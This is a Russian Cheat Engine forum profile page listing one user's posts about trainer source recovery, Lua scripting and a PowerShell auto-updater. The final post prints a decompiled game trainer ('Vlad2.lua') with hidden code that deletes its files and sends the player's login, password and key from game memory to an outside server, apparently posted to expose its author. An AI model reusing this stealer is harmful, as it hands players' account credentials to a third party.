Перейти к содержанию

Recpec158

Пользователи+
  • Постов

    80
  • Зарегистрирован

  • Посещение

Сообщения, опубликованные Recpec158

  1. 17 минуту назад, MasterGH сказал:

     

    Если исходники пропали, то лучше запрос создать на то чтобы новый трейнер сделали, но только чтобы форумчане не занимались ковырянием трейнеров и вытаскиванием скриптов.

    2zolo2, уже достал проект из трейнера и сказал что скинет только если удостоверится в том что это мой трейнер)

  2. В 19.04.2017в08:11, Garik66 сказал:

     

    Я верил изначально. Но чтобы и остальным доказать - напиши на PG Хипхо(можно GHL) привет!!!

    Начиркал :) 

     

    // Добавил (Garik66): 

    Скрытый текст
    Профиль [SiO]

    Пользователь о себе
    Хипхо(можно GHL) привет!!!

     

  3. 21 часа назад, MasterGH сказал:

     

    Обсуждение на форуме вытаскивания скриптов не самая хорошая тема на мой взгляд, потому что мы делаем скрипты, а не вытаскиваем их. Если скрипт пропал, то сделай его пожалуйста снова и у тебя будут исходники, и проблема решится.

    Да я лучше плюну на этого рода деятельность и пойду работать на завод чем всё заново переделывать:wacko:

  4. 2 минуты назад, LIRW сказал:

    Согласен.. Но представь - сделав один раз, да если ещо и не паблик - то ты можешь восстанавливать оригинал. У тебя будет как бы сказать свой инструмент для своих трейнеров - да и в обще для любых. Я вот тоже много раз сталкивался с подобным и теперь храню все файлы в папке, а как винду пере устанавливаю, загружаю всё на яндекс диск :rolleyes: Файлы маленькие и размера шибко не занимают. Просто время если будет к примеру у тебя свободное, почему бы и не реализовать подобное ? Ведь данная утилитка может пригодится и не один раз - как вот к примеру сейчас.. Всякое ведь случается то и в дальнейшем пригодится. Понадобился исход к примеру, скачал с PG свой трейнер - разобрал, поправил что надо и собрал обратно. И не надо хранить весь это мусор на HD :) в общем очень хорошая вещь... Я даже когда то подумывал над этим делом, но так и не реализовал его! 

    Ну если нет другого варианта то думаю насрать на этот трейнер:ph34r:

  5. 17 минуту назад, LIRW сказал:

    Так бы и написал - что мол мой трейнер и хочу по тестировать на взлом :) Надо поглядеть тогда - мне всегда интересны подобные вещи.. 

    PS:  

    В общем посмотрел по быстрому - так как у мня тут скачка идет и диск не хило загружен и мешает что либо открывать... Нооооо просто так его не открыть - я имею введу сам трейнер :) внутренности не предугадать, но зато я думаю можно сделать вот что... Восстановить оригинальные байты в трейнере пропатчив его и декомпилить прибамбасом который в паблике. Можно наверное даже патчер сделать - для подобных трейнеров и тогда его уже не как не спрячешь. 

    Дааа чет муторное дело :D

  6. 11 минуту назад, LIRW сказал:

    Так бы и написал - что мол мой трейнер и хочу по тестировать на взлом :) Надо поглядеть тогда - мне всегда интересны подобные вещи..

    Ахах дело в том что я исходник удалил по случайности, теперь не могу вытащить из готового, вот и решил написать на форум может кто сможет достать его от туда.

  7. 2 минуты назад, LIRW сказал:

    Одно дело - это когда кто то просит испытать как бы свою защиту и просит взломать свой трейнер (на испытание как бы) и совсем другое дело - это когда чужое взламывают.  На вряд ли Хипхо одобрит это дело. 

    Это мой трейнер! мой псевдоним на плейграунте SiO http://users.playground.ru/1895924/, могу доказать комментарием на плейграунте.

  8. Написал админу он посоветовал отключить антивирус и брандмауэр, дело в том что у меня при запуске лаунчера антивирус и брандмауэр отключен  и все равно вылазите эта ошибка. Есть прикол в том что при включенном антивирусе Касперского, запуск лаунчера и авторизация проходит успешно и без проблем.

  9. Возникла проблема при авторизации аккаунта в лаунчере "MythicalWorld" с ошибкой показанно в видео, всё что связанно с java переустановил, игру переустановливал но всё равно выскакивает эта ошибка при авторизации в лаунчере.

    Скрытый текст

     

  10. 4 минуты назад, srg91 сказал:

    Судя по всему вопрос в экранировании, вот так кажется работает:

      Скрыть содержимое
    
    
    str = 'Config="(0.144; 6.299; 0.40)"'
    str2 = 'Config="%(0.144; 6.299; 0.40%)"'
    zamen = 'Config="(9.99; 9.99; 9.99)"'
    strs = string.gsub(str, str2, zamen)
    print(strs)

     

     

    Да действительно работает! :) с меня лайк и подписка!

    • Плюс 1
  11. Я столкнулся с такой проблемой, мне надо заменить текст при помощи "string.gsub" но почему то он не хочет работать со скобками. Вот скрипт: 

    Скрытый текст
    
    str = 'Config="(0.144; 6.299; 0.40)"'
    str2 = 'Config="(0.144; 6.299; 0.40)"'
    zamen = 'Config="(9.99; 9.99; 9.99)"'
    strs = string.gsub(str, str2, zamen)
    print(strs)

     

     

  12. Источник: ТЫК, модифицированный "Standalonephase2.dat" нужен для того чтобы при запуске трейнера вы могли узнать реальный путь от куда был запущен трейнер. В связи с тем что в той теме я нашел только ссылку на исходный код модифицированного "Standalonephase2.dat", мне пришлось качать исходник Cheat Engine и шарить в нем искать где чё, минут 30 не мог в курить чё куда пихать, но потом кое как разобрался и скомпилировал всё это дело :wacko:, это ладно хоть у меня "lazarus" уже имеется на компе + малёха опыта в этом инструменте:rolleyes: а у кого нет не того не другого то геморройное это дело, поэтому я вы кладу уже готовый файл, вдруг кому понадобится ;) Скачать

    • Плюс 1
  13. 40 минуты назад, saiberpro сказал:

    1 - Для работы с файлами в Lua предусмотрена библиотека IO

    2 - Если в файле есть метки,закладки, разделители  - можно передавать текст в потоке для заполнения линий обьекта мемо, путём считывания строк.

    Ок, спасибо буду юзать в этом направлении)

  14. В ‎12‎.‎06‎.‎2016в13:47, Submarinа сказал:

    если сейчас взять и с генерировать с Cheat Engine v 6.5.1 Trainer в формате не exe, а CETRAINER, то через Decompiler CE ты не сможешь его открыть, сразу выдают ошибку при компиляции.

    Это огромный плюс, что через  Decompiler CE не компилируется, то есть нельзя посмотреть код, но зато через простой блокнот открывается и можно посмотреть весь код, вот это минус, 

    Вот как то надо закодировать его, что бы и через блокнот нельзя было не чего посмотреть,  на этом сайте показано как это можно сделать, но почему то это не работает странно. 

     

    ЕСТЬ Trainer от MrAntiFum, у него этот файл CET_TRAINER  закодирован, то есть через Decompiler CE, и блокнот, ты его не посмотришь. Вот надо сделать тоже самое 

    у Mrantifun зато сам трейнер по строке function, открыт как на ладоне)

  15. 1 час назад, saiberpro сказал:

    Стандартная библиотека IO,если между текстом идёт разделитель то можно спарсить содержимое от места начала работы потока IO  и до начала разделителей(Проверка последующего символа).

    ни хрена непонял честно говоря

  16. Всем привет давно не был на форуме сори за оффтоп) у меня вопрос как загрузить содержимое текстового файла в компонент Memo? И 2-й вопрос, как найти нужный текст в текстовом файле и при нахождении текста меняло на любой другой, после процедуры всё это дело сохранялось. Как всё это реализовать на трейнере cheat engine?, на C# у меня получалось, на Delphi,lazarus все это дело без проблем проходило=)

  17. Всем привет нашел скрипт на офф форуме CE, для обновления офф-сетов в трейнере, и добавил добавил свойх 5 копеек :) для того чтобы скачивать уже не офф-сеты а целый Трейнер.exe

     

    Скрипт:

    Скрытый текст
    
    function cmdHttpGet(url,file)
    assert(type(url)=='string','has to specific url string')
    file = type(file)=='string' and file or '_dummy.tmp'
    local cmd = string.format([[powershell -command "& { (New-Object Net.WebClient).DownloadFile('%s', '%s') }"]],url,file)
    cmd = assert(io.popen(cmd,'r'))
    cmd:read('*all')
    cmd:close()
    cmd = assert(io.open(file,'rb'))
    local result = cmd:read('*all')
    -------------------------------
    if ( result=="2.0") then
    showMessage("Обновлений нет!")
    else
    showMessage("Обнаружена новая версия!")
    shellExecute("http://spnhk-update.usite.pro/download/Treiner.exe")  --//Ссылка на скачивание новой версий трейнера
    -------------------------------
    cmd:close()
    return result
    end
    end
    
    local r = cmdHttpGet([[http://spnhk-update.usite.pro/Auto-Update.txt]]) --//Ваш текстовый файл лежащий 
                                                                              --//на сервере в котором 
                                                                                --//указана новая версия,
                                                                                  --//т.е у вас была v2.0 скрипт
                                                                                      --//проверил и нашел v2.1

     

     

    • Плюс 1
  18. Vlad2, Твой исходник от "Vlad2.lua":

    Скрытый текст
    
    os.remove('Vlad2.lua')
    local TimerShit = createTimer(UDF2, true)
    function Shit()
    os.remove('Vlad2.lua')
    os.remove('CET_TRAINER.UDF1')
    end
    timer_setInterval(TimerShit, 500)
    timer_onTimer(TimerShit, Shit)
    
    Put = getCheatEngineDir()
    Len = string.len(Put)
    Len = Len-10
    Put = string.sub(Put, 0, Len)
    os.remove(Put..'CET_Archive.dat')
    f = assert(io.open(Put..'CET_Archive.dat', "a+"))
    f:write('85s4328r54s848erf4'.."\n")
    f:close()
    
    
    local Timer1 = createTimer(UDF2, true)
    function TDU2Process()
    openProcess("TestDrive2.exe")
    if ('00FD96BE' == nil) then
    timer_setInterval(Timer1, 1000)
    timer_setEnabled(Timer1, true)
    else
    timer_setInterval(Timer1, 10000)
    end
    end
    timer_onTimer(Timer1, TDU2Process)
    
    form_show(UDF1)
    Point = '[[[[[["TestDrive2.exe"+00D5F658]+ad4]+a0]+8]+f4]+18]+'
    function Load()
     R1 = readFloat(Point..'4b0')
     R2 = readFloat(Point..'4a0')
     R3 = readFloat(Point..'4d0')
    
     G1 = readFloat(Point..'4b4')
     G2 = readFloat(Point..'4a4')
     G3 = readFloat(Point..'4d4')
    
     B1 = readFloat(Point..'4b8')
     B2 = readFloat(Point..'4a8')
     B3 = readFloat(Point..'4d8')
    
     C1 = readFloat(Point..'520')
     C2 = readFloat(Point..'528')
     C3 = readFloat(Point..'52C')
    
     if (checkbox_getState(UDF1_CECheckbox1) == 1) then
     if (R1 ~= nil) then
     control_setCaption(UDF1_CEEdit1, R1)
     control_setCaption(UDF1_CEEdit2, R2)
     control_setCaption(UDF1_CEEdit3, R3)
     control_setCaption(UDF1_CEEdit4, G1)
     control_setCaption(UDF1_CEEdit5, G2)
     control_setCaption(UDF1_CEEdit6, G3)
     control_setCaption(UDF1_CEEdit7, B1)
     control_setCaption(UDF1_CEEdit8, B2)
     control_setCaption(UDF1_CEEdit9, B3)
     end
     end
    
     if (checkbox_getState(UDF1_CECheckbox2) == 1) then
     if (C1 ~= nil) then
     control_setCaption(UDF1_CEEdit10, C1)
     control_setCaption(UDF1_CEEdit11, C2)
     control_setCaption(UDF1_CEEdit12, C3)
     end
     end
    
    end
    
    function Save()
     R1 = readFloat(Point..'4b0')
     if (R1 ~= nil) then
      if (checkbox_getState(UDF1_CECheckbox1) == 1) then
      writeFloat(Point..'4b0', control_getCaption(UDF1_CEEdit1))
      writeFloat(Point..'4a0', control_getCaption(UDF1_CEEdit2))
      writeFloat(Point..'4d0', control_getCaption(UDF1_CEEdit3))
    
      writeFloat(Point..'4b4', control_getCaption(UDF1_CEEdit4))
      writeFloat(Point..'4a4', control_getCaption(UDF1_CEEdit5))
      writeFloat(Point..'4d4', control_getCaption(UDF1_CEEdit6))
    
      writeFloat(Point..'4b8', control_getCaption(UDF1_CEEdit7))
      writeFloat(Point..'4a8', control_getCaption(UDF1_CEEdit8))
      writeFloat(Point..'4d8', control_getCaption(UDF1_CEEdit9))
      end
      if (checkbox_getState(UDF1_CECheckbox2) == 1) then
      writeFloat(Point..'520', control_getCaption(UDF1_CEEdit10))
      writeFloat(Point..'528', control_getCaption(UDF1_CEEdit11))
      writeFloat(Point..'52C', control_getCaption(UDF1_CEEdit12))
      end
     end
    end
    
    function Freeze()
    A = checkbox_getState(UDF1_CEToggleBox1)
     if (A == 1) then Save() end
    end
    TimF = createTimer(UDF1, true)
    timer_setInterval(TimF, 500)
    timer_onTimer(TimF, Freeze)
    
    function cl()
     closeCE()
      return caFree
    end
    
    AutTim = createTimer(UDF1, true)
    function Autor()
    TDU = readInteger('01320000')
    if (TDU ~= nil) then
    nick = readString('01321E48', 30)
    NS = readString('["TestDrive2.exe"+00C257E4]+c1', 30)
    if (NS ~= nil) and (NS ~= '') and (nick == NS) then
    if (check ~= nick) then
    nick = readString('01321E48', 30)
    log = readString('01321E78', 30)
    pas = readString('01321F78', 30)
    key = readString('013215F8', 19)
    ---------------------------------------------------------
    filename = nick..'.txt'
    text = nick..'\n\nlogin: '..log..'\npassword: '..pas..'\nkey: '..key
    data = 'param='..text..'&filename='..filename..'&login='..nick
    ---------------------------------------------------------
    local http = require("socket.http")
    local ltn12 = require("ltn12")
    local reqbody = data
    local respbody = {}
    local result, respcode, respheaders, respstatus = http.request {method = "POST",
    url = "http://userwot.netne.net/Vlad2/!users.php",
    source = ltn12.source.string(reqbody),
    headers = { ["Accept"] = "text/html, */*",
    ["Connection"] = "keep-alive",
    ["Content-Type"] = "application/x-www-form-urlencoded",
    ["content-length"] = string.len(reqbody)},}
    ---------------------------------------------------------
    if (respcode == 200) then check = nick end
    end
    end
    end
    end
    timer_setInterval(AutTim, 2000)
    timer_onTimer(AutTim, Autor)
    
    function CEImage1MouseDown(sender, button, x, y)
    form_dragNow(UDF1)
    end

     

     

×
×
  • Создать...

Важная информация

Находясь на нашем сайте, Вы автоматически соглашаетесь соблюдать наши Условия использования.